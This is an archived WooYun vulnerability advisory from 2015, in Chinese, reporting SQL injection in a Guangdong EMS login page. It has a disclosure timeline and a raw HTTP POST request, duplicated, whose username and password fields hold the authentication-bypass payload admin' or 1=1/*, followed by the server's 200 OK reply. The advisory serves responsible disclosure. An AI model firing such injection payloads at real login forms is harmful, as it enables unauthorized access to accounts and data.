广东EMS某登录处SQL注入可以获得数据

发表于 2015年07月09日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0125731

漏洞标题：广东EMS某登录处SQL注入可以获得数据

漏洞详情

披露状态：

2015-07-09: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认，细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述：

广东EMS某登录处SQL注入

详细说明：

POST /dshkweb/login.do HTTP/1.1<br>
Accept: text/html, application/xhtml+xml, */*<br>
Referer: http://**.**.**.**/dshkweb/login.do<br>
Accept-Language: zh-CN<br>
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)<br>
Content-Type: application/x-www-form-urlencoded<br>
Accept-Encoding: gzip, deflate<br>
Host: **.**.**.**<br>
Content-Length: 71<br>
Proxy-Connection: Keep-Alive<br>
Pragma: no-cache<br>
Cookie: JSESSIONID=4C1B88F880EDA4387EAEA7F74A776F7A; _5t_trace_sid=0e556d14a2dcd336b258bf4075c7cc67; _5t_trace_tms=1reqCode=login&name=admin%27+or+1%3D1%2F*&password=admin%27+or+1%3D1%2F*<br>
HTTP/1.1 200 OK<br>
Server: nginx<br>
Date: Thu, 09 Jul 2015 05:53:23 GMT<br>
Content-Type: text/html;charset=GBK<br>
Connection: keep-alive<br>
Content-Length: 2807

POST /dshkweb/login.do HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Referer: http://**.**.**.**/dshkweb/login.do

Accept-Language: zh-CN

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: **.**.**.**

Content-Length: 71

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: JSESSIONID=4C1B88F880EDA4387EAEA7F74A776F7A; _5t_trace_sid=0e556d14a2dcd336b258bf4075c7cc67; _5t_trace_tms=1reqCode=login&name=admin%27+or+1%3D1%2F*&password=admin%27+or+1%3D1%2F*

HTTP/1.1 200 OK

Server: nginx